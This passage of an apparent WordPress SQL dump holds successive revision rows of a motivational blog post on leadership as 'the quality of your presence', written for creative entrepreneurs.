presence?\r\n\r\n<strong>You, and you alone, determine the quality of your presence. Leadership is a choice you make about the quality of your life, not a role you play.</strong>', 'Leadership = the quality of your presence.', 0, '', 'inherit', 'open', 'open', '', '1058-revision-3', '', '', '2010-09-26 11:51:16', '2010-09-26 18:51:16', '', 1058, 'http://www.whitehotcenter.com/2010/09/26/1058-revision-3/', 0, 'revision', '', 0),
(1063, 2, '2010-09-26 11:51:54', '2010-09-26 18:51:54', '<img class="alignnone size-full wp-image-1059" title="presence" src="http://whc.fbdev.org/wp-content/uploads/2010/09/presence.gif" alt="" width="500" height="379" />\r\n<h2>As a creative entrepreneur, you already know how vitally important it is to be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.</h2>\r\n<strong> </strong>\r\n\r\nRecently, at a small conference I attended, I heard speaker, author and thinker Stewart Emery define “leadership” as nothing more and nothing less than “the quality of your presence”.  I immediately fell in love with the beautiful simplicity of this idea. Rather than thinking about leadership as a bunch of attributes, characteristics and behaviors, this definition resonated with me in a profound way. This elegant phrase perfectly packaged what I have been pushing around in my mind lately–mainly that enduring leadership transcends perceived levels of status, power or influence.\r\n\r\n<strong>The Quality of Your Presence.</strong>\r\n\r\nAs a creative entrepreneur and solo professional, you already know how vitally important it is to your success that you be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.\r\n<h1><span style="color: #808080;">The quality of your presence begins within you, deeply anchored in your sub-conscious beliefs about who you are, and what you are capable of.</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\nIf you’re stuck at a certain level of “leadership quality” in your personal and professional life, it’s a good idea to develop the habit of thinking much better of yourself, your ideas and visions, your capability to create value, and the direction of your future. You must honestly believe and trust your own greatness within!\r\n\r\nPeople who believe they are destined for greater life experiences, have a point of view that is always future-based, yet they are entirely present. They only take from the past that which will serve them (and others) in the new future they are joyously creating. They demonstrate their personal leadership by the quality of their own thoughts, which in turn, manifests into the quality of their presence.\r\n\r\nThese are the folks who lead by elevating the life experience of all they come into contact with. These people light the way for others by their own example. These leaders inspire others to believe more in their own capability and promise than in the evidence of their current limitations.  For these types of people, their leadership is disguised as service and never based in their status, power or ability to control others. Indeed, they have always been counted the few among us.\r\n\r\nSpeaking for myself, I aspire daily to this notion of leadership. When I experience the high quality of another’s presence, I am reminded I could not recognize it in them if it were not already present within me.  This inspires me to keep moving, growing and expanding toward living and leading the life experience I desire. It’s also a great reminder of the type of people I want to hang with.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do what matters to you and serves others.</strong>\r\n\r\nIf you want to lead through the quality of your presence, you have to be engaged in ideas and activities that truly matter to you. To create value, not only must you do what matters to you, but what matters to you must serve the good of others. In serving the good of others, you lead by the quality of your presence.\r\n\r\nTake a moment to assess where you''re at. You can start with your physical presence, do you display health, vitality and well-being? In your business, are your products and services of the highest quality? Do your clients or customers value your mastery to an extent they gladly pay a premium for them? In your relationships, do you matter to people? Are you adding to the world by contributing your talent and gifts in a manner that reflects the quality of your presence?\r\n\r\n<strong>You, and you alone, determine the quality of your presence. Leadership is a choice you make about the quality of your life, not a role you play.</strong>', 'Leadership = the quality of your presence.', 0, '', 'inherit', 'open', 'open', '', '1058-revision-4', '', '', '2010-09-26 11:51:54', '2010-09-26 18:51:54', '', 1058, 'http://www.whitehotcenter.com/2010/09/26/1058-revision-4/', 0, 'revision', '', 0),
(1064, 2, '2010-09-26 11:52:07', '2010-09-26 18:52:07', '<img class="alignnone size-full wp-image-1059" title="presence" src="http://whc.fbdev.org/wp-content/uploads/2010/09/presence.gif" alt="" width="500" height="379" />\r\n<h2>As a creative entrepreneur, you already know how vitally important it is to be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.</h2>\r\n<strong> </strong>\r\n\r\nRecently, at a small conference I attended, I heard speaker, author and thinker Stewart Emery define “leadership” as nothing more and nothing less than “the quality of your presence”.  I immediately fell in love with the beautiful simplicity of this idea. Rather than thinking about leadership as a bunch of attributes, characteristics and behaviors, this definition resonated with me in a profound way. This elegant phrase perfectly packaged what I have been pushing around in my mind lately–mainly that enduring leadership transcends perceived levels of status, power or influence.\r\n\r\n<strong>The Quality of Your Presence.</strong>\r\n\r\nAs a creative entrepreneur and solo professional, you already know how vitally important it is to your success that you be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.\r\n<h1><span style="color: #808080;">The quality of your presence begins within you, deeply anchored in your sub-conscious beliefs about who you are, and what you are capable of.</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\nIf you’re stuck at a certain level of “leadership quality” in your personal and professional life, it’s a good idea to develop the habit of thinking much better of yourself, your ideas and visions, your capability to create value, and the direction of your future. You must honestly believe and trust your own greatness within!\r\n\r\nPeople who believe they are destined for greater life experiences, have a point of view that is always future-based, yet they are entirely present. They only take from the past that which will serve them (and others) in the new future they are joyously creating. They demonstrate their personal leadership by the quality of their own thoughts, which in turn, manifests into the quality of their presence.\r\n\r\nThese are the folks who lead by elevating the life experience of all they come into contact with. These people light the way for others by their own example. These leaders inspire others to believe more in their own capability and promise than in the evidence of their current limitations.  For these types of people, their leadership is disguised as service and never based in their status, power or ability to control others. Indeed, they have always been counted the few among us.\r\n\r\nSpeaking for myself, I aspire daily to this notion of leadership. When I experience the high quality of another’s presence, I am reminded I could not recognize it in them if it were not already present within me.  This inspires me to keep moving, growing and expanding toward living and leading the life experience I desire. It’s also a great reminder of the type of people I want to hang with.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do what matters to you and serves others.</strong>\r\n\r\nIf you want to lead through the quality of your presence, you have to be engaged in ideas and activities that truly matter to you. To create value, not only must you do what matters to you, but what matters to you must serve the good of others. In serving the good of others, you lead by the quality of your presence.\r\n\r\nTake a moment to assess where you''re at. You can start with your physical presence, do you display health, vitality and well-being? In your business, are your products and services of the highest quality? Do your clients or customers value your mastery to an extent they gladly pay a premium for them? In your relationships, do you matter to people? Are you adding to the world by contributing your talent and gifts in a manner that reflects the quality of your presence?\r\n\r\n<strong>You, and you alone, determine the quality of your presence. Leadership is a choice you make about the quality of your life, not a role you play.</strong>', 'Leadership = the quality of your presence.', 0, '', 'inherit', 'open', 'open', '', '1058-revision-5', '', '', '2010-09-26 11:52:07', '2010-09-26 18:52:07', '', 1058, 'http://www.whitehotcenter.com/2010/09/26/1058-revision-5/', 0, 'revision', '', 0),
(1065, 2, '2010-09-26 11:55:06', '2010-09-26 18:55:06', '<img class="alignnone size-full wp-image-1059" title="presence" src="http://whc.fbdev.org/wp-content/uploads/2010/09/presence.gif" alt="" width="500" height="379" />\r\n<h2>As a creative entrepreneur, you already know how vitally important it is to be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.</h2>\r\n<strong> </strong>\r\n\r\nRecently, at a small conference I attended, I heard speaker, author and thinker Stewart Emery define “leadership” as nothing more and nothing less than “the quality of your presence”.  I immediately fell in love with the beautiful simplicity of this idea. Rather than thinking about leadership as a bunch of attributes, characteristics and behaviors, this definition resonated with me in a profound way. This elegant phrase perfectly packaged what I have been pushing around in my mind lately–mainly that enduring leadership transcends perceived levels of status, power or influence.\r\n\r\n<strong>The Quality of Your Presence.</strong>\r\n\r\nAs a creative entrepreneur and solo professional, you already know how vitally important it is to your success that you be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.\r\n<h1><span style="color: #808080;">The quality of your presence begins within you, deeply anchored in your sub-conscious beliefs about who you are, and what you are capable of.</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\nIf you’re stuck at a certain level of “leadership quality” in your personal and professional life, it’s a good idea to develop the habit of thinking much better of yourself, your ideas and visions, your capability to create value, and the direction of your future. You must honestly believe and trust your own greatness within!\r\n\r\nPeople who believe they are destined for greater life experiences, have a point of view that is always future-based, yet they are entirely present. They only take from the past that which will serve them (and others) in the new future they are joyously creating. They demonstrate their personal leadership by the quality of their own thoughts, which in turn, manifests into the quality of their presence. These are the folks who lead by elevating the life experience of all they come into contact with. These people light the way for others by their own example. These leaders inspire others to believe more in their own capability and promise than in the evidence of their current limitations.  For these types of people, their leadership is disguised as service and never based in their status, power or ability to control others. Indeed, they have always been counted the few among us.\r\n\r\nSpeaking for myself, I aspire daily to this notion of leadership. When I experience the high quality of another’s presence, I am reminded I could not recognize it in them if it were not already present within me.  This inspires me to keep moving, growing and expanding toward living and leading the life experience I desire. It’s also a great reminder of the type of people I want to hang with.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do what matters to you and serves others.</strong>\r\n\r\nIf you want to lead through the quality of your presence, you have to be engaged in ideas and activities that truly matter to you. To create value, not only must you do what matters to you, but what matters to you must serve the good of others. In serving the good of others, you lead by the quality of your presence.\r\n\r\nTake a moment to assess where you''re at. You can start with your physical presence, do you display health, vitality and well-being? In your business, are your products and services of the highest quality? Do your clients or customers value your mastery to an extent they gladly pay a premium for them? In your relationships, do you matter to people? Are you adding to the world by contributing your talent and gifts in a manner that reflects the quality of your presence?\r\n\r\n<strong>You, and you alone, determine the quality of your presence. Leadership is a choice you make about the quality of your life, not a role you play.</strong>', 'Leadership = the quality of your presence.', 0, '', 'inherit', 'open', 'open', '', '1058-revision-6', '', '', '2010-09-26 11:55:06', '2010-09-26 18:55:06', '', 1058, 'http://www.whitehotcenter.com/2010/09/26/1058-revision-6/', 0, 'revision', '', 0),
(1066, 2, '2010-09-26 11:55:17', '2010-09-26 18:55:17', '<img class="alignnone size-full wp-image-1059" title="presence" src="http://whc.fbdev.org/wp-content/uploads/2010/09/presence.gif" alt="" width="500" height="379" />\r\n<h2>As a creative entrepreneur, you already know how vitally important it is to be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.</h2>\r\n<strong> </strong>\r\n\r\nRecently, at a small conference I attended, I heard speaker, author and thinker Stewart Emery define “leadership” as nothing more and nothing less than “the quality of your presence”.  I immediately fell in love with the beautiful simplicity of this idea. Rather than thinking about leadership as a bunch of attributes, characteristics and behaviors, this definition resonated with me in a profound way. This elegant phrase perfectly packaged what I have been pushing around in my mind lately–mainly that enduring leadership transcends perceived levels of status, power or influence.\r\n\r\n<strong>The Quality of Your Presence.</strong>\r\n\r\nAs a creative entrepreneur and solo professional, you already know how vitally important it is to your success that you be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.\r\n<h1><span style="color: #808080;">The quality of your presence begins within you, deeply anchored in your sub-conscious beliefs about who you are, and what you are capable of.</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\nIf you’re stuck at a certain level of “leadership quality” in your personal and professional life, it’s a good idea to develop the habit of thinking much better of yourself, your ideas and visions, your capability to create value, and the direction of your future. You must honestly believe and trust your own greatness within!\r\n\r\nPeople who believe they are destined for greater life experiences, have a point of view that is always future-based, yet they are entirely present. They only take from the past that which will serve them (and others) in the new future they are joyously creating. They demonstrate their personal leadership by the quality of their own thoughts, which in turn, manifests into the quality of their presence. These are the folks who lead by elevating the life experience of all they come into contact with. These people light the way for others by their own example. These leaders inspire others to believe more in their own capability and promise than in the evidence of their current limitations.  For these types of people, their leadership is disguised as service and never based in their status, power or ability to control others. Indeed, they have always been counted the few among us.\r\n\r\nSpeaking for myself, I aspire daily to this notion of leadership. When I experience the high quality of another’s presence, I am reminded I could not recognize it in them if it were not already present within me.  This inspires me to keep moving, growing and expanding toward living and leading the life experience I desire. It’s also a great reminder of the type of people I want to hang with.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do what matters to you and serves others.</strong>\r\n\r\nIf you want to lead through the quality of your presence, you have to be engaged in ideas and activities that truly matter to you. To create value, not only must you do what matters to you, but what matters to you must serve the good of others. In serving the good of others, you lead by the quality of your presence.\r\n\r\nTake a moment to assess where you''re at. You can start with your physical presence, do you display health, vitality and well-being? In your business, are your products and services of the highest quality? Do your clients or customers value your mastery to an extent they gladly pay a premium for them? In your relationships, do you matter to people? Are you adding to the world by contributing your talent and gifts in a manner that reflects the quality of your presence?\r\n\r\n<strong>You, and you alone, determine the quality of your presence. Leadership is a choice you make about the quality of your life, not a role you play.</strong>', 'Leadership = the quality of your presence.', 0, '', 'inherit', 'open', 'open', '', '1058-revision-7', '', '', '2010-09-26 11:55:17', '2010-09-26 18:55:17', '', 1058, 'http://www.whitehotcenter.com/2010/09/26/1058-revision-7/', 0, 'revision', '', 0),
(1067, 2, '2010-09-26 11:58:48', '2010-09-26 18:58:48', '<img class="alignnone size-full wp-image-1059" title="presence" src="http://whc.fbdev.org/wp-content/uploads/2010/09/presence.gif" alt="" width="500" height="379" />\r\n<h2>As a creative entrepreneur, you already know how vitally important it is to be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.</h2>\r\n<strong> </strong>\r\n\r\nRecently, at a small conference I attended, I heard speaker, author and thinker <a href="http://www.stewartemery.com/" target="_blank">Stewart Emery</a> define “leadership” as nothing more and nothing less than “the quality of your presence”.  I immediately fell in love with the beautiful simplicity of this idea. Rather than thinking about leadership as a bunch of attributes, characteristics and behaviors, this definition resonated with me in a profound way. This elegant phrase perfectly packaged what I have been pushing around in my mind lately–mainly that enduring leadership transcends perceived levels of status, power or influence.\r\n\r\n<strong>The Quality of Your Presence.</strong>\r\n\r\nAs a creative entrepreneur and solo professional, you already know how vitally important it is to your success that you be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.\r\n<h1><span style="color: #808080;">The quality of your presence begins within you, deeply anchored in your sub-conscious beliefs about who you are, and what you are capable of.</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\nIf you’re stuck at a certain level of “leadership quality” in your personal and professional life, it’s a good idea to develop the habit of thinking much better of yourself, your ideas and visions, your capability to create value, and the direction of your future. You must honestly believe and trust your own greatness within!\r\n\r\nPeople who believe they are destined for greater life experiences, have a point of view that is always future-based, yet they are entirely present. They only take from the past that which will serve them (and others) in the new future they are joyously creating. They demonstrate their personal leadership by the quality of their own thoughts, which in turn, manifests into the quality of their presence. These are the folks who lead by elevating the life experience of all they come into contact with. These people light the way for others by their own example. These leaders inspire others to believe more in their own capability and promise than in the evidence of their current limitations.  For these types of people, their leadership is disguised as service and never based in their status, power or ability to control others. Indeed, they have always been counted the few among us.\r\n\r\nSpeaking for myself, I aspire daily to this notion of leadership. When I experience the high quality of another’s presence, I am reminded I could not recognize it in them if it were not already present within me.  This inspires me to keep moving, growing and expanding toward living and leading the life experience I desire. It’s also a great reminder of the type of people I want to hang with.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do what matters to you and serves others.</strong>\r\n\r\nIf you want to lead through the quality of your presence, you have to be engaged in ideas and activities that truly matter to you. To create value, not only must you do what matters to you, but what matters to you must serve the good of others. In serving the good of others, you lead by the quality of your presence.\r\n\r\nTake a moment to assess where you''re at. You can start with your physical presence, do you display health, vitality and well-being? In your business, are your products and services of the highest quality? Do your clients or customers value your mastery to an extent they gladly pay a premium for them? In your relationships, do you matter to people? Are you adding to the world by contributing your talent and gifts in a manner that reflects the quality of your presence?\r\n\r\n<strong>You, and you alone, determine the quality of your presence. Leadership is a choice you make about the quality of your life, not a role you play.</strong>', 'Leadership = the quality of your presence.', 0, '', 'inherit', 'open', 'open', '', '1058-revision-8', '', '', '2010-09-26 11:58:48', '2010-09-26 18:58:48', '', 1058, 'http://www.whitehotcenter.com/2010/09/26/1058-revision-8/', 0, 'revision', '', 0),
(1068, 2, '2010-09-26 11:59:03', '2010-09-26 18:59:03', '<img class="alignnone size-full wp-image-1059" title="presence" src="http://whc.fbdev.org/wp-content/uploads/2010/09/presence.gif" alt="" width="500" height="379" />\r\n<h2>As a creative entrepreneur, you already know how vitally important it is to be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.</h2>\r\n<strong> </strong>\r\n\r\nRecently, at a small conference I attended, I heard speaker, author and thinker <a href="http://www.stewartemery.com/" target="_blank">Stewart Emery</a> define “leadership” as nothing more and nothing less than “the quality of your presence”.  I immediately fell in love with the beautiful simplicity of this idea. Rather than thinking about leadership as a bunch of attributes, characteristics and behaviors, this definition resonated with me in a profound way. This elegant phrase perfectly packaged what I have been pushing around in my mind lately–mainly that enduring leadership transcends perceived levels of status, power or influence.\r\n\r\n<strong>The Quality of Your Presence.</strong>\r\n\r\nAs a creative entrepreneur and solo professional, you already know how vitally important it is to your success that you be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.\r\n<h1><span style="color: #808080;">The quality of your presence begins within you, deeply anchored in your sub-conscious beliefs about who you are, and what you are capable of.</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\nIf you’re stuck at a certain level of “leadership quality” in your personal and professional life, it’s a good idea to develop the habit of thinking much better of yourself, your ideas and visions, your capability to create value, and the direction of your future. You must honestly believe and trust your own greatness within!\r\n\r\nPeople who believe they are destined for greater life experiences, have a point of view that is always future-based, yet they are entirely present. They only take from the past that which will serve them (and others) in the new future they are joyously creating. They demonstrate their personal leadership by the quality of their own thoughts, which in turn, manifests into the quality of their presence. These are the folks who lead by elevating the life experience of all they come into contact with. These people light the way for others by their own example. These leaders inspire others to believe more in their own capability and promise than in the evidence of their current limitations.  For these types of people, their leadership is disguised as service and never based in their status, power or ability to control others. Indeed, they have always been counted the few among us.\r\n\r\nSpeaking for myself, I aspire daily to this notion of leadership. When I experience the high quality of another’s presence, I am reminded I could not recognize it in them if it were not already present within me.  This inspires me to keep moving, growing and expanding toward living and leading the life experience I desire. It’s also a great reminder of the type of people I want to hang with.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do what matters to you and serves others.</strong>\r\n\r\nIf you want to lead through the quality of your presence, you have to be engaged in ideas and activities that truly matter to you. To create value, not only must you do what matters to you, but what matters to you must serve the good of others. In serving the good of others, you lead by the quality of your presence.\r\n\r\nTake a moment to assess where you''re at. You can start with your physical presence, do you display health, vitality and well-being? In your business, are your products and services of the highest quality? Do your clients or customers value your mastery to an extent they gladly pay a premium for them? In your relationships, do you matter to people? Are you adding to the world by contributing your talent and gifts in a manner that reflects the quality of your presence?\r\n\r\n<strong>You, and you alone, determine the quality of your presence. Leadership is a choice you make about the quality of your life, not a role you play.</strong>', 'Leadership = the quality of your presence.', 0, '', 'inherit', 'open', 'open', '', '1058-revision-9', '', '', '2010-09-26 11:59:03', '2010-09-26 18:59:03', '', 1058, 'http://www.whitehotcenter.com/2010/09/26/1058-revision-9/', 0, 'revision', '', 0),
(1069, 2, '2010-09-26 12:09:31', '2010-09-26 19:09:31', '<img class="alignnone size-full wp-image-1059" title="presence" src="http://whc.fbdev.org/wp-content/uploads/2010/09/presence.gif" alt="" width="500" height="379" />\n<h2>As a creative entrepreneur, you already know how vitally important it is to be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.</h2>\n<strong> </strong>\n\nRecently, at a small conference I attended, I heard speaker, author and thinker <a href="http://www.stewartemery.com/" target="_blank">Stewart Emery</a> define “leadership” as nothing more and nothing less than “the quality of your presence”.  I immediately fell in love with the beautiful simplicity of this idea. Rather than thinking about leadership as a bunch of attributes, characteristics and behaviors, this definition resonated with me in a profound way. This elegant phrase perfectly packaged what I have been pushing around in my mind lately–mainly that enduring leadership transcends perceived levels of status, power or influence.\n\n<strong>The Quality of Your Presence.</strong>\n\nAs a creative entrepreneur and solo professional, you already know how vitally important it is to your success that you be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.\n<h1><span style="color: #808080;">The quality of your presence begins within you, deeply anchored in your sub-conscious beliefs about who you are, and what you are capable of.</span></h1>\n<h1><span style="color: #808080;">\n</span></h1>\nIf you’re stuck at a certain level of “leadership quality” in your personal and professional life,and you know you want a higher level of experience, it’s a good idea to develop the habit of thinking much better of yourself, your ideas and visions, your capability to create value, and the direction of your future. You must honestly believe and trust your own greatness within! When you trust this belief, you are automatically elevated into a leadership role–lighting your way forward\n\nPeople who believe they are destined for greater life experiences, have a point of view that is always future-based, yet they are entirely present. They only take from the past that which will serve them (and others) in the new future they are joyously creating. They demonstrate their personal leadership by the quality of their own thoughts, which in turn, manifests into the quality of their presence. These are the folks who lead by elevating the life experience of all they come into contact with. These people light the way for others by their own example. These leaders inspire others to believe more in their own capability and promise than in the evidence of their current limitations.  For these types of people, their leadership is disguised as service and never based in their status, power or ability to control others. Indeed, they have always been counted the few among us.\n\nSpeaking for myself, I aspire daily to this notion of leadership. When I experience the high quality of another’s presence, I am reminded I could not recognize it in them if it were not already present within me.  This inspires me to keep moving, growing and expanding toward living and leading the life experience I desire. It’s also a great reminder of the type of people I want to hang with.\n\n<strong> </strong>\n\n<strong>Do what matters to you and serves others.</strong>\n\nIf you want to lead through the quality of your presence, you have to be engaged in ideas and activities that truly matter to you. To create value, not only must you do what matters to you, but what matters to you must serve the good of others. In serving the good of others, you lead by the quality of your presence.\n\nTake a moment to assess where you''re at. You can start with your physical presence, do you display health, vitality and well-being? In your business, are your products and services of the highest quality? Do your clients or customers value your mastery to an extent they gladly pay a premium for them? In your relationships, do you matter to people? Are you adding to the world by contributing your talent and gifts in a manner that reflects the quality of your presence?\n\n<strong>You, and you alone, determine the quality of your presence. Leadership is a choice you make about the quality of your life, not a role you play.</strong>', 'Leadership = the quality of your presence.', 0, 'You, and you alone, determine the quality of your presence. Leadership is a choice you make about the quality of your life, not a role you play.', 'inherit', 'open', 'open', '', '1058-revision-10', '', '', '2010-09-26 12:09:31', '2010-09-26 19:09:31', '', 1058, 'http://www.whitehotcenter.com/2010/09/26/1058-revision-10/', 0, 'revision', '', 0),
(1070, 2, '2010-09-26 12:09:39', '2010-09-26 19:09:39', '<img class="alignnone size-full wp-image-1059" title="presence" src="http://whc.fbdev.org/wp-content/uploads/2010/09/presence.gif" alt="" width="500" height="379" />\r\n<h2>As a creative entrepreneur, you already know how vitally important it is to be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.</h2>\r\n<strong> </strong>\r\n\r\nRecently, at a small conference I attended, I heard speaker, author and thinker <a href="http://www.stewartemery.com/" target="_blank">Stewart Emery</a> define “leadership” as nothing more and nothing less than “the quality of your presence”.  I immediately fell in love with the beautiful simplicity of this idea. Rather than thinking about leadership as a bunch of attributes, characteristics and behaviors, this definition resonated with me in a profound way. This elegant phrase perfectly packaged what I have been pushing around in my mind lately–mainly that enduring leadership transcends perceived levels of status, power or influence.\r\n\r\n<strong>The Quality of Your Presence.</strong>\r\n\r\nAs a creative entrepreneur and solo professional, you already know how vitally important it is to your success that you be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.\r\n<h1><span style="color: #808080;">The quality of your presence begins within you, deeply anchored in your sub-conscious beliefs about who you are, and what you are capable of.</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\nIf you’re stuck at a certain level of “leadership quality” in your personal and professional life,and you know you want a higher level of experience, it’s a good idea to develop the habit of thinking much better of yourself, your ideas and visions, your capability to create value, and the direction of your future. You must honestly believe and trust your own greatness within! When you trust this belief, you are automatically elevated into a leadership role–lighting your way forward!\r\n\r\nPeople who believe they are destined for greater life experiences, have a point of view that is always future-based, yet they are entirely present. They only take from the past that which will serve them (and others) in the new future they are joyously creating. They demonstrate their personal leadership by the quality of their own thoughts, which in turn, manifests into the quality of their presence. These are the folks who lead by elevating the life experience of all they come into contact with. These people light the way for others by their own example. These leaders inspire others to believe more in their own capability and promise than in the evidence of their current limitations.  For these types of people, their leadership is disguised as service and never based in their status, power or ability to control others. Indeed, they have always been counted the few among us.\r\n\r\nSpeaking for myself, I aspire daily to this notion of leadership. When I experience the high quality of another’s presence, I am reminded I could not recognize it in them if it were not already present within me.  This inspires me to keep moving, growing and expanding toward living and leading the life experience I desire. It’s also a great reminder of the type of people I want to hang with.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do what matters to you and serves others.</strong>\r\n\r\nIf you want to lead through the quality of your presence, you have to be engaged in ideas and activities that truly matter to you. To create value, not only must you do what matters to you, but what matters to you must serve the good of others. In serving the good of others, you lead by the quality of your presence.\r\n\r\nTake a moment to assess where you''re at. You can start with your physical presence, do you display health, vitality and well-being? In your business, are your products and services of the highest quality? Do your clients or customers value your mastery to an extent they gladly pay a premium for them? In your relationships, do you matter to people? Are you adding to the world by contributing your talent and gifts in a manner that reflects the quality of your presence?\r\n\r\n<strong>You, and you alone, determine the quality of your presence. Leadership is a choice you make about the quality of your life, not a role you play.</strong>', 'Leadership = the quality of your presence.', 0, 'You, and you alone, determine the quality of your presence. Leadership is a choice you make about the quality of your life, not a role you play.', 'inherit', 'open', 'open', '', '1058-revision-11', '', '', '2010-09-26 12:09:39', '2010-09-26 19:09:39', '', 1058, 'http://www.whitehotcenter.com/2010/09/26/1058-revision-11/', 0, 'revision', '', 0),
(1071, 2, '2010-09-26 12:09:50', '2010-09-26 19:09:50', '<img class="alignnone size-full wp-image-1059" title="presence" src="http://whc.fbdev.org/wp-content/uploads/2010/09/presence.gif" alt="" width="500" height="379" />\r\n<h2>As a creative entrepreneur, you already know how vitally important it is to be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.</h2>\r\n<strong> </strong>\r\n\r\nRecently, at a small conference I attended, I heard speaker, author and thinker <a href="http://www.stewartemery.com/" target="_blank">Stewart Emery</a> define “leadership” as nothing more and nothing less than “the quality of your presence”.  I immediately fell in love with the beautiful simplicity of this idea. Rather than thinking about leadership as a bunch of attributes, characteristics and behaviors, this definition resonated with me in a profound way. This elegant phrase perfectly packaged what I have been pushing around in my mind lately–mainly that enduring leadership transcends perceived levels of status, power or influence.\r\n\r\n<strong>The Quality of Your Presence.</strong>\r\n\r\nAs a creative entrepreneur and solo professional, you already know how vitally important it is to your success that you be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.\r\n<h1><span style="color: #808080;">The quality of your presence begins within you, deeply anchored in your sub-conscious beliefs about who you are, and what you are capable of.</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\nIf you’re stuck at a certain level of “leadership quality” in your personal and professional life,and you know you want a higher level of experience, it’s a good idea to develop the habit of thinking much better of yourself, your ideas and visions, your capability to create value, and the direction of your future. You must honestly believe and trust your own greatness within! When you trust this belief, you are automatically elevated into a leadership role–lighting your way forward!\r\n\r\nPeople who believe they are destined for greater life experiences, have a point of view that is always future-based, yet they are entirely present. They only take from the past that which will serve them (and others) in the new future they are joyously creating. They demonstrate their personal leadership by the quality of their own thoughts, which in turn, manifests into the quality of their presence. These are the folks who lead by elevating the life experience of all they come into contact with. These people light the way for others by their own example. These leaders inspire others to believe more in their own capability and promise than in the evidence of their current limitations.  For these types of people, their leadership is disguised as service and never based in their status, power or ability to control others. Indeed, they have always been counted the few among us.\r\n\r\nSpeaking for myself, I aspire daily to this notion of leadership. When I experience the high quality of another’s presence, I am reminded I could not recognize it in them if it were not already present within me.  This inspires me to keep moving, growing and expanding toward living and leading the life experience I desire. It’s also a great reminder of the type of people I want to hang with.\r\n\r\n<strong> </strong>\r\n\r\n<strong>Do what matters to you and serves others.</strong>\r\n\r\nIf you want to lead through the quality of your presence, you have to be engaged in ideas and activities that truly matter to you. To create value, not only must you do what matters to you, but what matters to you must serve the good of others. In serving the good of others, you lead by the quality of your presence.\r\n\r\nTake a moment to assess where you''re at. You can start with your physical presence, do you display health, vitality and well-being? In your business, are your products and services of the highest quality? Do your clients or customers value your mastery to an extent they gladly pay a premium for them? In your relationships, do you matter to people? Are you adding to the world by contributing your talent and gifts in a manner that reflects the quality of your presence?\r\n\r\n<strong>You, and you alone, determine the quality of your presence. Leadership is a choice you make about the quality of your life, not a role you play.</strong>', 'Leadership = the quality of your presence.', 0, 'You, and you alone, determine the quality of your presence. Leadership is a choice you make about the quality of your life, not a role you play.', 'inherit', 'open', 'open', '', '1058-revision-12', '', '', '2010-09-26 12:09:50', '2010-09-26 19:09:50', '', 1058, 'http://www.whitehotcenter.com/2010/09/26/1058-revision-12/', 0, 'revision', '', 0);
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(1072, 2, '2010-12-27 15:53:59', '2010-12-27 22:53:59', '<img class="alignnone size-full wp-image-1059" title="presence" src="http://whc.fbdev.org/wp-content/uploads/2010/09/presence.gif" alt="" width="450" height="341" />\r\n<h2>As a creative entrepreneur, you already know how vitally important it is to be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.</h2>\r\n<strong> </strong>\r\n\r\nRecently, at a small conference I attended, I heard speaker, author and thinker <a href="http://www.stewartemery.com/" target="_blank">Stewart Emery</a> define “leadership” as nothing more and nothing less than “the quality of your presence”.  I immediately fell in love with the beautiful simplicity of this idea. Rather than thinking about leadership as a bunch of attributes, characteristics and behaviors, this definition resonated with me in a profound way. This elegant phrase perfectly packaged what I have been pushing around in my mind lately–mainly that enduring leadership transcends perceived levels of status, power or influence.\r\n\r\n<strong>The Quality of Your Presence.</strong>\r\n\r\nAs a creative entrepreneur and solo professional, you already know how vitally important it is to your success that you be an effective and well-respected leader– one who is recognized for your mastery. Your level of mastery is always displayed through the quality of your presence.\r\n<h1><span style="color: #808080;">The quality of your presence begins within you, deeply anchored in your sub-conscious beliefs about who you are, and what you are capable of.</span></h1>\r\n<h1><span style="color: #808080;">\r\n</span></h1>\r\nIf you’re stuck at a certain level of “leadership quality” in your personal and professional life, and you know you want a higher level of experience, it’s a good idea to develop the habit of thinking much better of yourself, your ideas and visions, your capability to create value, and the direction of your future. You must honestly believe and trust your own greatness within! When you trust this belief, you are automatically elevated into a leadership role–lighting your own way forward!\r\n\r\nPeople who believe they are destined for greater life experiences, have a point of view that is always future-based, yet they are entirely 